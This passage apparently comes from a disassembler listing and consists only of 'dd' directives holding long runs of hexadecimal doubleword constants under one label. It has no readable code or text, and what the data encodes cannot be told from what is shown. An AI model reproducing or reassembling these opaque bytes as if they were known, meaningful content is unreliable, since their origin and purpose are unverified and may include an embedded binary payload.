		dd 0F5804D3Eh, 9D7C2D21h, 0FE58A8F4h, 0C000D7A0h, 170C2EFFh
		dd 8C7822h, 0FB41731Ah,	2F8A2A59h, 0E09BA900h, 0F7CE9DBh
		dd 0D8AEF6h, 9AE7ABF2h,	878D512Eh, 70BDD02Dh, 4C9500B4h
		dd 0DFCD70A9h, 0E20113F9h, 74AFE5ECh, 8C405A23h, 5E625A8h
		dd 0CB16A2B9h, 7F14E0BDh, 679A5700h, 0AA9C12E2h, 0A261072Ch
		dd 688271h, 52484DE3h, 891E0B04h, 10F4B86Bh, 0BB6C98D9h
		dd 24D361E4h, 0A720CA6Ah, 0AE8EF1EAh, 2298A088h, 302A0098h
		dd 5C1CB2BDh, 0C302EA7Eh, 8E08E587h, 3DECD8C0h,	0E91D6501h
		dd 815493FBh, 212F5DECh, 0FC1C4044h, 0B400B092h, 0A0743E75h
		dd 0CE6391C3h, 6E2533F8h, 1DC4A03Ch, 9D648A5Ch,	38132CCBh
		dd 5DC23D0Ch, 0CD16544Ah, 0DE0C0081h, 53222966h, 0B934109h
		dd 0F07C0290h, 4004F9C7h, 0FAAA0491h, 0B20180EEh, 0F338AFD6h
		dd 55C052D0h, 0E4C90026h, 64406516h, 0CD65FB3Bh, 40A44E79h
		dd 296A1C34h, 9CF4040h,	0D99B220Ch, 139F1703h, 0D8B76BFBh
		dd 4B0892h, 0A758B1C5h,	338495CAh, 87DD9D05h, 88C4BB24h
		dd 0A2E34ACh, 0D710829Ch, 0E8EC3805h, 1592E501h, 0B7547350h
		dd 0C602CC29h, 19300157h, 47A09C43h, 6A03189Fh,	52C8BBB0h
		dd 9E57B8F4h, 8B901FFh,	383337A1h, 223270E7h, 43AB7613h
		dd 52CA50C8h, 0BC19428h, 0F8248A4Ah, 2A0BA363h,	0AECC2BD6h
		dd 791F6018h, 7076D16h,	98336059h, 0AF88A4Eh, 0FA7A75Bh
		dd 0D27C015Eh, 42004028h, 0C88814FDh, 7887A901h, 0B751F9FBh
		dd 9E26EC4Ch, 93190094h, 0B6D6DD0Ah, 9CE83205h,	64F4C70Bh
		dd 79290F9Eh, 67C3DE85h, 0C2E51583h, 0DC72AD28h, 90825A2Fh
		dd 1F98B42Ch, 43BE71F6h, 42BDE5CDh, 9752007h, 2A109BDDh
		dd 667503Ch, 626F6E12h,	550189D0h, 0C387E0Fh, 7DFCF4AAh
		dd 0A86F48DCh, 4F888CA0h, 0F2C48CA8h, 0A7B82E00h, 0E8C96117h
		dd 0A0681DC7h, 80888BD5h, 3C11D80Bh, 90E2DE9Fh,	265A3CCCh
		dd 0A7A1E440h, 265C6412h, 1F32F45h, 49D41415h, 8E046D18h
		dd 0C42A803Dh, 4DE5807h, 0E2D74F70h, 0AF67805Bh, 0BD4C9A53h
		dd 33AC007Ch, 0FEAE6314h, 1CC8BE29h, 442A400Dh,	0A53AC512h
		dd 98A2E105h, 902085DAh, 0CFB5A1h, 384472EDh, 0BB4D1F6Ch
		dd 732EC7FEh, 1182309Eh, 0F03F34B3h, 0EDD90058h, 2438885Fh
		dd 0C21F733Dh, 0AE829071h, 0DABC70D2h, 3864B028h, 0C496A4C5h
		dd 90F0184Bh, 9448185Dh, 75E07BCh, 54904277h, 40E7E0Ch
		dd 83CAEA62h, 1E8CD0C0h, 29134990h, 80004309h, 9B9E5107h
		dd 242C3C7Ch, 0B4202782h, 4CECFD41h, 5042FA12h,	30DC7813h
		dd 0DF8F0021h, 140B863Fh, 330743F4h, 0BB51571Dh, 0CC7527Ch
		dd 3065A6E2h, 34F0A519h, 36464E00h, 56856D5Bh, 804CB004h
		dd 1A08418Ch, 89DBDA70h, 9C14C862h, 4461312Eh, 0F995A705h
		dd 0ABD2D400h, 4BB68C2Ah, 1E48C0EAh, 0F61FC662h, 9F41DCE3h
		dd 0F86C51C2h, 0F912C02Bh, 0B0C2DA41h, 54B74E56h, 0D95C1384h
		dd 1E42508h, 66B5FEC8h,	5596DEE4h, 0BAE6828h, 79BC90E8h
		dd 0FA86043h, 0C800DE7Ch, 4E592C03h, 7ED1451h, 84C3CB5Dh
		dd 0EC149988h, 0E0E5D498h, 6A8806BEh, 462C0118h, 36622E63h
		dd 2D5C2052h, 41004990h, 7BEB1B9Eh, 9C98CAh, 0FD0E4699h
		dd 0D9925D2Eh, 0C68330Ah, 7A0098F5h, 7FC8A9A1h,	5B007C6h
		dd 143DCBA5h, 56A8C15Ah, 2C403B29h, 775E597Eh, 0A9850092h
		dd 3C5AC797h, 2BB8E73Eh, 6C1E2C96h, 602EA11Eh, 0E1899941h
		dd 5FAC48E2h, 22D5148Ah, 8B004893h, 9431F155h, 4880D773h
		dd 0F0AA00E6h, 7725DEEBh, 44001196h, 24B7386Fh,	12A3B3Fh
		dd 289D832Ch, 4133624Eh, 693CB324h, 518D0580h, 0A0004A7Bh
		dd 562861FFh, 310D5EAEh, 0EC9A3234h, 0F377BA08h, 48FD002h
		dd 0D9BEFD6Ch, 166F419Ch, 6AC850EAh, 0B54BD2Fh,	0D026A4C4h
		dd 0EC80FCB6h, 47E0A22Ah, 0C76200A3h, 0E7A6A920h, 0D90B488Bh
		dd 9069EC8Fh, 110E90h, 99C8FE30h, 0C06E0CE9h, 0B40258BBh
		dd 0E4891B70h, 0DB840320h, 0CAB1DD5Ah, 38A8DFD3h, 0A6176A1Dh
		dd 148049DAh, 0F3C0663h, 6B62D6D7h, 99887107h, 18CEE009h
		dd 0B004C71h, 1E83A558h, 73631D70h, 0B4A20B05h,	0EA0B27E9h
		dd 82FC6010h, 971EEDE4h, 0EF01B0EAh, 0C07CC118h, 0E7F1B429h
		dd 0A48EE8B6h, 7D73270Fh, 60B02BC4h, 15377874h,	0DC564E71h
		dd 0CBF86880h, 221D9889h, 0AE008132h, 125143D7h, 25F3B053h
		dd 604FBF01h, 48DABC30h, 0E4F1C06Ch, 86C105B6h,	31C5F001h
		dd 7DA35DB7h, 0B634A4FCh, 11D35054h, 0AE77B038h, 9B7080DDh
		dd 0F06018Ah, 0B4701B20h, 0C071F6EEh, 3DA46825h, 41234EABh
		dd 0A941AF80h, 16498B99h, 0E208068h, 1611537Bh,	44CD8284h
		dd 85C64D48h, 932006E0h, 570199D3h, 65604708h, 70A52025h
		dd 0D5B15CE8h, 0CF642B0Eh, 0AA4B0369h, 2701E035h, 1328FC53h
		dd 309845EBh, 41C7A000h, 0A9B2AE1Fh, 4DE19130h,	195E27h
		dd 5C951DFCh, 819DBF22h, 0A403A3B4h, 4E4C402Fh,	419640C3h
		dd 6E1BE301h, 0DC32BFADh, 8BC03028h, 0F13582FAh, 0C3A24A1Fh
		dd 0C24C8901h, 0D180D76Fh, 7415143Bh, 0EB004D6Eh, 92E9CE6h
		dd 0EBF30D5h, 288E05E3h, 0CA819002h, 5B788CACh,	2A74960Eh
		dd 0CC8EB26Ah, 27E82C2Eh, 5DF3E840h, 0F369884h,	5604C1Ch
		dd 383F7A40h, 81D867Fh,	0ABCEF7EBh, 28D52Dh, 0CB0D2E48h
		dd 605CB1EDh, 0C1DFD8F0h, 730054FAh, 682A654Ah,	178496CCh
		dd 0C102DCBDh, 2499C61Ch, 0AB495670h, 6E2A0240h, 48226081h
		dd 0FA3C0764h, 62F42F10h, 0B47A6C05h, 0A415BB90h, 0CCB5CFh
		dd 0D34B6C3Ah, 0C85FEEh, 2EB82767h, 3CCE9D37h, 80B52638h
		dd 0A5F07595h, 68269F9h, 1CFC52DFh, 3EA028C2h, 0F400AD0Ah
		dd 0A89CD6B0h, 25C123h,	319EC8BEh, 0D07FF52Eh, 0A9CB1203h
		dd 0F841F145h, 7C3C0ABh, 88F84B1Ch, 0A020004Ch,	0D400BD44h
		dd 2E1FD065h, 0F19B6D9h, 0D8B7888Ah, 13105920h,	984F8DC2h
		dd 12954EE0h, 0B04C501Ch, 9E50C074h, 79006D8Ch,	6A9875F4h
		dd 7F06F8h, 0C358DB7Eh,	97B53C0Fh, 10845D4Eh, 734E9481h
		dd 0EA09C78h, 6C2C8B0Ch, 0A20018E0h, 5934F639h,	900B0094h
		dd 0D7EAE6AFh, 2E28B1Dh, 5553CE00h, 82515BA5h, 878325C3h
		dd 404E7020h, 3E13560Fh, 7F09C9D9h, 7EEC443Bh, 34A049FFh
		dd 54C2EAC0h, 0F501E566h, 31E7F87Bh, 0E478BC41h, 0E5BD14CFh
		dd 6692C0E0h, 9C1C0100h, 2385EF5Bh, 99332671h, 22C3017Ch
		dd 0BEF21177h, 0B02D2816h
		dd 0E15DC80h, 9CC1B500h, 0C7DCA7BFh, 0C0A600DAh, 68763A9Dh
		dd 0B07FE6B1h, 88B74F24h, 84705B49h, 938CD516h,	7BA81A24h
		dd 84796A32h, 0AB3CDA0Bh, 95602115h, 31D8981Fh,	74E47AB2h
		dd 17405A51h, 0B918C4C0h, 0FF08806Ch, 0BBD15899h, 0C570050h
		dd 768E0B59h, 0B83BE107h, 6560FC80h, 9098D215h,	45F10C70h
		dd 907914C8h, 34800E02h, 40BAF0B5h, 75E13C3Fh, 0E08403B9h
		dd 16A7C9F3h, 90FA3FF8h, 74E2A007h, 5B40D4BAh, 183C5D58h
		dd 0A86099EFh, 3F2C8E2Fh, 0F2C3A0BFh, 249D0F6h,	0CC7000E2h
		dd 2050915Eh, 131269B2h, 3ABA6C7h, 0AC5233D6h, 47EE8080h
		dd 483DA000h, 1FE94669h, 0EC4C002Dh, 0A8D11DC5h, 82267427h
		dd 2E01F444h, 26FB58DFh, 76D414E0h, 973B3212h, 305BFEE8h
		dd 5F2A1180h, 3BB502h, 0F13C109Fh, 6D50149Bh, 43B94602h
		dd 4A1B0E55h, 0E6E58998h, 1C31308h, 3BF80787h, 0BE9C902Dh
		dd 0D0047C24h, 98F5BB59h, 0AC840485h, 0D370B2h,	7564370h
		dd 892ABE4h, 52912501h,	38853A2Ah, 7C78F049h, 2D328600h
		dd 0F4C9722Eh, 9C1D1C00h, 85D929DCh, 0D7D5053Ah, 0F08B55D0h
		dd 0CF3896B0h, 0C43100F6h, 0E14162Dh, 0C04C596Ch, 0E38EE50Eh
		dd 0D310A820h, 4207A35Eh, 0A9D24B3Bh, 329BE200h, 0A1F89AC5h
		dd 69C44064h, 9066482Eh, 0F155AB81h, 0CBA8322Dh, 0E0FCE313h
		dd 2459E8E9h, 80B0151Bh, 7693770Dh, 0D2583EE2h,	700B09E8h
		dd 4ACF467h, 81CF56D5h,	52949070h, 8400C88h, 0DB014423h
		dd 2D1392B7h, 0C22AF061h, 88502A36h, 0AE2B4C00h, 7910B890h
		dd 21C10469h, 0A4BF36B9h, 8FB5567Ch, 698F4078h,	3B654C26h
		dd 717D7E1Eh, 703FFF0Bh, 0CB710ACh, 8A00A492h, 0B190C7CFh
		dd 604BDFE4h, 30F4F165h, 63C8B8Dh, 0B88A0061h, 1B9F75FCh
		dd 93010080h, 0EF1A148Ch, 0E3023D4Ch, 12FF9089h, 8079E4h
		dd 57D7714Ah, 18EA338Ah, 0F0CF9F4Fh, 0E572FA07h, 0F0E2039h
		dd 285E5E97h, 59141C54h, 709C288h, 0D1E84852h, 0D6870744h
		dd 0E57B5E80h, 2F80A22Ch, 3840103Dh, 8E2D09F6h,	5838D96Dh
		dd 59F6F0Fh, 88F02C14h,	54A67F22h, 2884A0h, 112F545Ch
		dd 0E2611BA7h, 0B8A5322Eh, 18666380h, 34442864h, 0F9702FA0h
		dd 5AB50998h, 52E0A4CEh, 5B24B080h, 490D07A3h, 50BF0836h
		dd 58CB577Bh, 778DDA01h, 0F9D112D2h, 0ED27CC50h, 0A2C62EFAh
		dd 0FBF0C00h, 68948D19h, 90C0C012h, 0D2A253h, 21B24C2Fh
		dd 35BD966Ah, 46297504h, 0F180F864h, 714F776h, 804158F5h
		dd 542500E3h, 0FA122496h, 80B1F949h, 1B1C906h, 46556D61h
		dd 4096E054h, 0A8A7A3EBh, 7040FCB6h, 5930ADAh, 7D7A1B29h
		dd 0F3BC1207h, 602E2580h, 2A51C788h, 1D810C4h, 549D028Ch
		dd 2B7D2F75h, 0F5FCF070h, 3E5505DCh, 40F70853h,	446D41F8h
		dd 0A500B8D0h, 12BB8FF3h, 6BF6CEh, 0CBE45924h, 98AD95BDh
		dd 4F19020Bh, 0E35CE0ACh, 167D0030h, 9ECAF31Bh,	0DD271A89h
		dd 0EC7CC06Fh, 0FD63042Eh, 0E3C664E5h, 85831BF0h, 52981260h
		dd 4CCD8BFh, 0B888B324h, 0B98B0600h, 1FA48546h,	79E65Eh
		dd 4F0EF247h, 0F1038115h, 4172B9C7h, 0BEC802EFh, 8233C51Fh
		dd 549854h, 54486FBFh, 0B7520111h, 8177D000h, 0A3A8412Dh
		dd 5820963Bh, 0F209B104h, 0E4E74ABAh, 8C1E5A28h, 0E6037DD8h
		dd 0F40F7540h, 3062D92Dh, 4E242Dh, 0D4BF2BC4h, 952F25h
		dd 3A2CAC40h, 2CE6E054h, 293374h, 770763Bh, 0EB1B5241h
		dd 0A6688F43h, 1865BB1h, 74933A8Ch, 0E4CEF2ECh,	305A523Eh
		dd 1D40712Eh, 0BC5E00E8h, 910E7069h, 3D129429h,	0CC41734Fh
		dd 9974AE41h, 201C053Bh, 48D8CCB4h, 9C1AF301h, 374FE656h
		dd 506D24D9h, 0A8DFAA00h, 1C1ED126h, 16DA5504h,	0E4D220B0h
		dd 20DCD4EDh, 4E881380h, 0F2DC8072h, 6A02701Ch,	417A1A8Bh
		dd 700876B4h, 449908B3h, 51826A84h, 7DCE08E0h, 0E89504F0h
		dd 0B8AAF1E1h, 0E63A180Fh, 0FEDA6B21h, 0C4CD246Fh, 0D41758BCh
		dd 7C04279Dh, 914FD540h, 9B030020h, 6B3AFBFFh, 22041504h
		dd 0C7E07659h, 409674A8h, 0F5BC7578h, 0B300A718h, 0D25E3D4h
		dd 193E214h, 7B660946h,	96BB124Ch, 16053FD1h, 7430C83Dh
		dd 6F9B6Ah, 0C359832h, 0AEEDB0FCh, 0B966918h, 0E115B8h
		dd 0BCC7F5E5h, 0C0F13A47h, 515BDB0Bh, 0B7E0DA3Eh, 75224400h
		dd 3D1ED4A1h, 8480FD73h, 57413A7Fh, 0A8A401E3h,	6A052E86h
		dd 8CCCF08Ah, 480B5A00h, 27111FD5h, 837B0123h, 6A743826h
		dd 0E0282B2Fh, 31F666h,	19F3DBB4h, 731FF1B7h, 7E3B2400h
		dd 5A10557Bh, 6474F7F6h, 74AD0063h, 0F8DCE7D9h,	8269FE8h
		dd 9805CC7h, 7A72C1A4h,	7CC626A5h, 3C0A8240h, 0C0E00DFCh
		dd 8D3F0E5Eh, 4BF2C91h,	3383F100h, 506A9FDBh, 0ED39C11h
		dd 0B3D6BA4Ch, 980F0420h, 5CBABE59h, 4C90825Ah,	0F4DF44Eh
		dd 732D9B06h, 8424EC60h, 630C8759h, 0E1AD1FAAh,	1B50028h
		dd 3D582EE9h, 27006777h, 1E416A63h, 48A5888Dh, 0A027C6D8h
		dd 0C4AB3CC2h, 900BBC04h, 8D61EEB0h, 283E9800h,	3A913CABh
		dd 13AF26CFh, 1D5C0326h, 9927A965h, 529C0B2Dh, 12949A80h
		dd 4027B91Ah, 69497F74h, 481D6436h, 1C13344Ch, 0DE0088A7h
		dd 43F2F92Fh, 3B0B4152h, 20305CB5h, 70C8A5CCh, 4471C0C0h
		dd 652BED9Dh, 4D740302h, 4056C55Bh, 7E0E4500h, 0CA731DE8h
		dd 778028E5h, 1A541249h, 6D70A4B8h, 0F0124D5Ah,	0FB13CCCBh
		dd 5958C1BCh, 0A47CE060h, 0DB8CEE03h, 0E8E0D832h, 0FCC92AA2h
		dd 24AE090Bh, 9890767Bh, 0C8500A72h, 490935C0h,	89156B4Ch
		dd 689CA8h, 0F10F5772h,	224CD781h, 7A413Eh, 6F3A21C3h
		dd 5C6A112h, 0C082F1A6h, 0F6B101ADh, 4444A37Bh,	57588190h
		dd 91B0C3F8h, 0B49EC253h, 361358A8h, 1C40ED35h,	0B0E8AB7Ah
		dd 0A68E00DFh, 2F04EAB7h, 0A002137h, 6FCB8DD2h,	7187F9h
		dd 0E2A241D0h, 961E994Eh, 0DF85FA09h, 5EC4923Ch, 0B5DC00F0h
		dd 0A920FEABh, 7EB89B12h, 62347844h, 812678CAh,	38A8B8h
		dd 6CA6C751h, 0EA201A49h, 0AC1CAE0Ah, 2300A4C6h, 98CBC3B4h
		dd 564406A0h, 599BD3F7h, 69415500h, 0E875A30Ch,	2DD0E2E3h
		dd 0F490C089h, 0FA00789Ch, 9BAE72F4h, 308AD2C9h, 0A9417471h
		dd 1460BA34h, 0E6399799h, 88A109A5h, 0A0F8645Ch, 93995088h
		dd 0A9736801h, 0F5617F6Dh, 620C8C26h, 0F15967B9h, 29165D12h
		dd 4AF7D070h, 0CB7905EFh, 0C03FC578h, 0CFAD4D8h, 9009F0h
		dd 344D3D01h, 0A66152FDh, 0C46C392Eh, 69C2DF10h, 0DC8E8549h
		dd 0F4632D94h, 0C61F14C8h, 7A3C21C0h, 1C572F96h, 792E5B5Fh
		dd 0B80A398Ch, 0B3E206D8h, 9F6F3100h, 0FC7631Fh, 2A4A057Ah
		dd 205A947Dh, 0C8D91DA4h, 0E1E1D74Eh, 5ADC2050h, 0AB7D01FEh
		dd 0DEDB9D2Eh, 0FC202FA7h, 436497h, 14F3BE2h, 0A2F39FA5h
		dd 6E857100h, 3DE55B20h, 0DCE601C1h, 9A990C0h, 0CBB855CEh
		dd 7E9B02E8h, 0C8B8F538h, 0BC2CD6D0h, 296A8FD4h, 0E6C7E8C1h
		dd 0A89FEC03h, 4E90112Eh, 36B47F00h, 0FC8A592Eh, 6F10003Dh
		dd 0A3E14527h, 6A002BB9h, 1D5D57B0h, 4624D21h, 7D75EE64h
		dd 0BAA9806Dh, 0FC5C1360h, 0EC4700CCh, 7CF6AC2Ah, 81BC00E4h
		dd 7094343Ah, 0E217A083h, 0A02C37D1h, 0C1CE0188h, 2B91DBDAh
		dd 2816C802h, 0C8EE0A03h, 0E794BA8Eh, 2FFDE780h, 0B9F7B60h
		dd 9664B32h, 6500A4F8h,	3C55A60Fh, 4C59AF21h, 7905647Dh
		dd 563BAE1Bh, 176C8080h
		dd 0EC169DA7h, 0EA000FE9h, 5B2D3007h, 174096C8h, 0A43C5226h
		dd 6A257CACh, 554802D5h, 2830D6DEh, 83950000h, 0F75229EDh
		dd 75F07901h, 0ECA7D100h, 0BA5A1960h, 0C68C3D23h, 0D7FEAE12h
		dd 0F2924084h, 53009A06h, 794B582Fh, 2C2CE93Fh,	803C65BBh
		dd 4F822EE5h, 5E01422Dh, 81236D59h, 433E5698h, 0A82273C4h
		dd 0B07490B4h, 0B2F4602Eh, 4D900AB0h, 2FFA950Bh, 67B40F55h
		dd 61B09F26h, 12FF9188h, 405FAAECh, 55A2DEE4h, 9897BF20h
		dd 18E59C48h, 612EA623h, 0B72F30B2h, 0E081172h,	0B23AA7D4h
		dd 0CD1F42Ch, 0D71D71F0h, 2A3F6B59h, 4C6005Ch, 87E72C92h
		dd 8B124F2Fh, 1CF30500h, 0F4CF8268h, 0ADEA3812h, 9928938h
		dd 9CCD169h, 0F05917C5h, 3F30C0C9h, 23D60B57h, 1A802204h
		dd 0F421F0C9h, 7E917309h, 0C8980CC1h, 0E527ECCh, 0FE9D9F71h
		dd 32958FC0h, 3B714F6Ah, 0A1348100h, 0CB78E55Dh, 62640827h
		dd 6D02F7EDh, 64B43AE7h, 4480184h, 14859F0Ch, 388A2B92h
		dd 23E97E00h, 97EEF94Ch, 6524209Fh, 278F2861h, 284C605Eh
		dd 0A05750C4h, 746FD881h, 436B1161h, 72FD645Ch,	0D9F145B0h
		dd 37B08E01h, 8947E0A9h, 136Ah,	0A615380h, 309CD67h, 72E0588Bh
		dd 70C37758h, 4B440943h, 84592F72h, 1644902h, 36C518Fh
		dd 2DA06874h, 5AE041C5h, 7F083788h, 72547400h, 3EB5FA47h
		dd 0F0892017h, 28DB09CCh, 577C83A7h, 0C38E805h,	0FDF279h
		dd 0B7F11C47h, 8816EC96h, 8E05EE12h, 0F400FCA9h, 61406C2Ch
		dd 0A4F2E22Dh, 0F5DF5B05h, 6400D6E8h, 0DD477728h, 42ACBC73h
		dd 749319D8h, 3C820481h, 7897D750h, 5E1D7000h, 0FD9D0302h
		dd 78F342F6h, 643906E8h, 0A3767C00h, 810770C7h,	3322005Dh
		dd 9053FAC4h, 3625558Ah, 0F0549610h, 0FD7A004Ah, 0EDE28232h
		dd 602091F2h, 0E6202F6Fh, 64000064h, 696B7DB4h,	0BE3FB603h
		dd 19B12DCh, 0E084DA0h,	9446E485h, 0B5E645F2h, 81B0F8B0h
		dd 913DDB00h, 0A5AD41F6h, 0F52C16E4h, 5F1801BFh, 0F554C59Ah
		dd 4A02823h, 0E48CE856h, 0D103C4ECh, 0E5F338ABh, 0E2E6AED8h
		dd 285F7DE6h, 0F19D90C3h, 983855DBh, 782D16ACh,	24BC649Ch
		dd 70E86F88h, 0DA07A5E2h, 0DF9A20D6h, 30D04084h, 5AAA77BCh
		dd 0C0D8D444h, 0C8E11C24h, 6DC98D0Bh, 8BE3C017h, 0DFDE00C4h
		dd 0BD051C5h, 0EB1845F4h, 0C278B33Fh, 37527A16h, 0D010B287h
		dd 690F80E3h, 3F4480BFh, 527BB34h, 4C395FD0h, 2B02FB16h
		dd 0ED238B86h, 94C4254Ch, 3B40C0BEh, 7570B803h,	6094F641h
		dd 117AC923h, 865D3871h, 9A7315F8h, 0A0CA5F94h,	9C3C6700h
		dd 978C08F6h, 486D6C0Bh, 0FB718BB0h, 367C8068h,	0AE20690Eh
		dd 0C394D716h, 0A7525473h, 4B357D70h, 0C74424EEh, 0C19E40D8h
		dd 0A60C24Fh, 9B048E79h, 9292F56h, 0A0B4B064h, 98267343h
		dd 2CF86Bh, 82CDE129h, 0FD5A317Ah, 43F8B9B5h, 9640403Ah
		dd 599AD088h, 8087FA39h, 0ADF30704h, 4A73DF24h,	1FA8B0A8h
		dd 64616902h, 62C96B33h, 2FF4E074h, 0C01BB7C7h,	88F897A2h
		dd 84B52A26h, 0D912D000h, 1687554h, 0FF278572h,	0D4239C6Bh
		dd 0F3A3B050h, 58F4E4EAh, 4F93991Dh, 0B033E4E5h, 359A4503h
		dd 3CE2EAD1h, 0AA091C50h, 0EEBDC7C9h, 72FE8D4h,	11966979h
		dd 3AE6B051h, 98C3778Fh, 904B3CA7h, 3B7F032h, 0D0BA3587h
		dd 64D91E4Eh, 0C4FC7147h, 0D800C95Ah, 7F28224Ch, 4E7033E5h
		dd 60308886h, 4BB97714h, 2FAB00A0h, 749E1FFAh, 57460014h
		dd 777B263Ch, 0D200392Ch, 506D715Bh, 5BA99DDEh,	0D34CD886h
		dd 854F0C71h, 79FD488h,	0BC539EDCh, 0F03170D0h,	0B9F1EFAh
		dd 5B1CBED0h, 29F499BFh, 520C00FCh, 9EE3BA9h, 0DA6B0486h
		dd 0F8072D18h, 905C4B48h, 0C243EB8Eh, 0A01AF045h, 3A1D96C8h
		dd 7BB80B05h, 6C00FCE9h, 35924C8Bh, 217068CFh, 0BF5D0EA5h
		dd 269BDCCh, 0B41C3F84h, 9064618Bh, 57AD2600h, 3DBB6438h
		dd 0A8F35CC8h, 0B0632E80h, 560A39C3h, 7065F50Bh, 168D4650h
		dd 0AFD6Bh, 751E0948h, 0C54C7189h, 6C07008Ch, 0D3F31263h
		dd 6D50314Bh, 0C6E7DED8h, 11CC8DAh, 0C3D4EFBh, 3891E0C4h
		dd 8CF244h, 634FAEFDh, 79B6116Fh, 0DEA57705h, 5CC8A149h
		dd 0CE07301Fh, 5E30B791h, 502A2025h, 808899A8h,	9210547Eh
		dd 0D5003B4Ch, 0C4D69395h, 0F23220FEh, 271FE9Eh, 3F980849h
		dd 0F4D185CAh, 3EE87B00h, 4F60D73h, 422D4A77h, 8F60D143h
		dd 88802A74h, 52B6D64h,	0D7A7236Bh, 8C8E131h, 760246E0h
		dd 7CB622EEh, 8B94DECBh, 68D01368h, 0BD70C49Eh,	4AA83EC8h
		dd 9E19FB0h, 66006045h,	149B6911h, 5EB27144h, 5B048FBEh
		dd 0DEC70C0h, 113A00E8h, 1C0CB049h, 7000A427h, 5B8F81B3h
		dd 7B63E351h, 3958A424h, 0A8130955h, 6858B441h,	0A2427B1Ch
		dd 0FA762800h, 0E749924Bh, 0F8ACC841h, 94100B2Fh, 2F4B68F8h
		dd 0BCD280B2h, 0D80BDDE0h, 66C2E94h, 121C151h, 987C283Dh
		dd 527B3BD0h, 4C7E5DB0h, 38926CC4h, 83B9603Fh, 5D590130h
		dd 18F932CFh, 362F0CEh,	0C880905Fh, 95368B2Eh, 0EAFF9CC6h
		dd 614B5094h, 2C6D0081h, 48C4922Eh, 0D34FD160h,	8318261h
		dd 0D5C00646h, 2630BC65h, 3E300060h, 0D470292Eh, 0D4CB0B36h
		dd 0AA750040h, 9F209611h, 7A00A426h, 5E93BB8Bh,	18304A4Ch
		dd 0EEC46642h, 5BB0D25Dh, 0F571B6B0h, 0C585390Eh, 0F1D140B1h
		dd 5CADF47Fh, 0C700DA81h, 4BBC50EFh, 900110BDh,	3B37BEE9h
		dd 1880F006h, 324D7B8Ah, 9D003301h, 87703D6Ah, 99480F2h
		dd 2B5BF3B2h, 0B3462A80h, 1D18D009h, 721076EFh,	5E2300CDh
		dd 85A27AA3h, 0A40FC9D8h, 6328ECE2h, 5DE008h, 0E5CE4728h
		dd 80D4A91Eh, 67F8B41Fh, 0C18EB14Eh, 6FE6CF1Ch,	3F7AADD0h
		dd 0BD8077FAh, 0B6C335C4h, 0A9005F39h, 9CD03AD1h, 39F48C36h
		dd 3B00AAA0h, 289AB273h, 2600585Dh, 0DB700502h,	0D75025h
		dd 0CEB5AF2Fh, 0DECF1D93h, 419FA00h, 0A4C29501h, 6E50C0D3h
		dd 415587D8h, 9EFD421Eh, 2A34C10Eh, 8B8E8C07h, 14F807Ch
		dd 536004h, 82689496h, 9166868Dh, 56C4C700h, 2A1E954Bh
		dd 0E345012Fh, 0C87099B9h, 794FC4F6h, 0A06A9B00h, 8C8721AEh
		dd 0ECBE076Bh, 7156205Fh, 0E8C1AAEDh, 8A00D5B4h, 832AD214h
		dd 0D6A236h, 0E75E2538h, 65B0077Dh, 9D7FBA00h, 0EE204A7Ah
		dd 0AAA0C0F5h, 6922D512h, 4C3BF00h, 3F82C88h, 97783Fh
		dd 0A4C18E68h, 82D16D1Fh, 0AAF17F00h, 0E144FACBh, 1D0F07C6h
		dd 0B055E732h, 5E02B9E2h, 2E8E3C3Eh, 0AD130CFEh, 0E7D1B0h
		dd 21878831h, 62B39748h, 933BEBEEh, 7A8E747h, 76E17EA0h
		dd 0D8133CA3h, 90918194h, 311F9900h, 5F2D8392h,	8C8C700h
		dd 9F412FE9h, 2820021h,	44646704h, 99012A18h, 8D3E31BAh
		dd 8094B7C5h, 0F53F82F8h, 7EF5F80h, 0D8DF8381h,	1507538h
		dd 655609FFh, 6DF821BDh, 7CB90078h, 9240BC60h, 36B82BA0h
		dd 0B499F400h, 0DBBA532Ah, 59332822h, 716603E8h, 70317879h
		dd 0A5B90BE8h, 54FAE300h, 87A3D588h, 7D8C0A63h,	8090F852h
		dd 5C66E376h, 7FEC9855h, 8075213Ch, 59921378h, 0A4C0519Ah
		dd 0EC7EDCh, 98E7CE57h,	0F5F4B56Fh, 6D687161h, 94249D76h
		dd 53343EA7h, 8B49F20Ch, 7806EB38h, 0A93DE5Ah, 478E3931h
		dd 0C4C8A700h, 249BC3C2h, 676C6101h, 3006978Bh,	143002DDh
		dd 0F8D9E2A2h, 0D0C3043Ch, 90124F2Bh, 3ECD7D64h, 0F2989400h
		dd 31AE647Fh
dword_558348	dd 0CE7A0675h, 686ADAC3h, 5B375E00h, 87B97019h,	887115BEh
		dd 0FC01F0E9h, 393EF552h, 0CF941014h, 2A5A0E15h, 9983C90Eh
		dd 0D5887A64h, 80C02883h, 2BDA7469h, 0C2E8A052h, 0C88E0959h
		dd 0E00A42F2h, 52BB407Ch, 0B7009165h, 5EB55B96h, 7E3FD5h
		dd 25D32346h, 3BE10A7Ah, 0F5BB9801h, 3C94E8A0h,	0BA9926DFh
		dd 4083816Ch, 40ABBD81h, 0C28B3FD4h, 0DE246577h, 2B0024E8h
		dd 0B4F575AEh, 0BC4D009Eh, 0D959CE38h, 8E007310h, 0B9E020CBh
		dd 6080B45h, 722B06DAh,	7E00710Ah, 0B180818Ch, 1C4BB9Ah
		dd 788A4375h, 3AAF557h,	1DB59877h, 1FD90971h, 98804BE0h
		dd 0BDEF803Ch, 0A6942814h, 926F1EAAh, 9E4CA700h, 121A74A9h
		dd 403AA3ADh, 6719D940h, 0A10F4F2Fh, 87E26Dh, 7566DABBh
		dd 0A0041ECBh, 0A8C9804Bh, 239E6369h, 0AEE5ED00h, 0F1796E84h
		dd 0E189A83h, 7C92E674h, 1DD4338Ah, 0CE41C0C6h,	2B10A66Eh
		dd 0A6CFB48h, 0A8F4758Dh, 0EF7A5A81h, 0C9F6447Eh, 18D0EBE9h
		dd 0ECE1C137h, 5C6DAD85h, 2DB088DCh, 3C92FB1Eh,	705CD2C1h
		dd 0B06BBC94h, 0CE00B9E5h, 264F74D7h, 0C14713ADh, 0A757C068h
		dd 89B2E07Ch, 0E7AE7502h, 0A0F06F79h, 5FC04BECh, 26010C4Ch
		dd 0BE8140FBh, 0AF743B05h, 0F8407ACBh, 0FABBA2FDh, 0B05EE06Ah
		dd 0EE840930h, 0FC81148Eh, 648CFF71h, 6B00103Ch, 93E88FFDh
		dd 314C49h, 9CAE5E57h, 4097D1C1h, 8958AC4Ch, 1B54058Bh
		dd 6E14CC3h, 0EBCF6441h, 1D09799Ah, 80B6D303h, 0F6585B5Ch
